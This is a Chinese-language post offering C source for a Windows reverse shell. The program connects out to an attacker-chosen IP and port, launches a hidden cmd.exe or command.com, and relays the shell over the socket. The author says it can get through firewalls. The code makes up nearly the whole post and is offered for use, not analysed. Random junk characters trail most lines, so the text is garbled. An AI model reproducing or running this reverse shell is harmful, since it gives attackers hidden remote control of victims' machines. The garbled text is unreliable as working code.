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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 4np2I~ !  
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/* ============================== %NkiYiA  
Rebound port in Windows NT fS"u"]j*e  
By wind,2006/7 Nw. )O  
===============================*/ ] 0R*F30]  
#include Y!M0JSaM  
#include % G!!0V!  
3 P0z$jh"H  
#pragma comment(lib,"wsock32.lib") \ aJ>?   
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void OutputShell(); lj]M 1zEz&  
SOCKET sClient; "e-Y?_S7R8  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; .JKH=?~\  
Tt~4'{Bc  
void main(int argc,char **argv) yP]>eLTSd  
{ /H<{p$Wd  
WSADATA stWsaData; HAH\ #WE  
int nRet; *<^C0:i(  
SOCKADDR_IN stSaiClient,stSaiServer; b]u=I za  
r%;|gIky  
if(argc != 3) Y7S1^'E 3  
{ dz@+ jEV  
printf("Useage:\n\rRebound DestIP DestPort\n"); nq_$!aB_K  
return; 9fX0?POG  
} ZRjM^ d;  
aA?Qr&]M  
WSAStartup(MAKEWORD(2,2),&stWsaData);  C O6}D  
4S42h_9  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $'\kK,=  
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stSaiClient.sin_family = AF_INET; m@ <,bZkl  
stSaiClient.sin_port = htons(0); uRy}HLZ"  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); G+=G c(J  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) j*QdD\)  
{ S5JM t;O  
printf("Bind Socket Failed!\n"); )L&y@dy)  
return; w yxPvI`   
} |r+ x/,2-  
4]1/{</B|  
stSaiServer.sin_family = AF_INET; 6?,qysm06  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); xtGit}  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); SXsszb:_  
B}04E^  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ILCh1=?{9r  
{ al#(<4sJ  
printf("Connect Error!"); ?J$k 5;  
return; #_ulmB;  
} Ho(M O!(  
OutputShell(); \L>XF'o  
} #eYYu2ND  
(g;O,`|c,  
void OutputShell() -|'@ :cIZ  
{ -Jd7  
char szBuff[1024]; Z+V%~C1  
SECURITY_ATTRIBUTES stSecurityAttributes; W)1nc"WqY  
OSVERSIONINFO stOsversionInfo; H^Pq[3NQ  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; JX'}+.\  
STARTUPINFO stStartupInfo; i3 XtrP""  
char *szShell; | K|AUI  
PROCESS_INFORMATION stProcessInformation; q2#Ebw %]  
unsigned long lBytesRead; nO yG7:  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 1!1,{\9%  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ;r2DQg"#@  
stSecurityAttributes.lpSecurityDescriptor = 0; [ DpOI  
stSecurityAttributes.bInheritHandle = TRUE; C+\z$/q  
MY{Kq;FvRP  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); #reR<qp&]  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); n$ByTmKxv  
=9,mt K~  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ]+G\1SN~  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]|F`;}7  
stStartupInfo.wShowWindow = SW_HIDE; Eet/l]e#a  
stStartupInfo.hStdInput = hReadPipe; =0&XdxX  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; H.?`90IQ  
4r;le5@  
GetVersionEx(&stOsversionInfo); pKXSJ"Xo  
\ MuKS4  
switch(stOsversionInfo.dwPlatformId) #HL$`&m  
{ 0qR#o/~I  
case 1: W+u@UJi  
szShell = "command.com"; +;!^aNJ,  
break; eAO@B  
default: G>^= Bm_$  
szShell = "cmd.exe"; q h bagw~  
break; .\H-?6R^  
} C=;}7g  
w*'DlP<7  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); gD%o0 jt"  
.z CkB86  
send(sClient,szMsg,77,0); ;xq;c\N  
while(1) @<P;F  
{ )j]f ]8  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); j*2/[Eq  
if(lBytesRead) oTk\r$4eb  
{ f`vWCb  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); vy [7I8f{  
send(sClient,szBuff,lBytesRead,0); c-zW 2;|61  
} jB -A d8  
else D7R;IA-w  
{ 0<A*I{,4L  
lBytesRead=recv(sClient,szBuff,1024,0); L?N: 4/0;!  
if(lBytesRead<=0) break; *#p}FB2H#  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); j}lne^ h  
} !]"M]tyv\  
} ZLaht(`+  
`?&C5*P  
return; hJFxT8B/  
}
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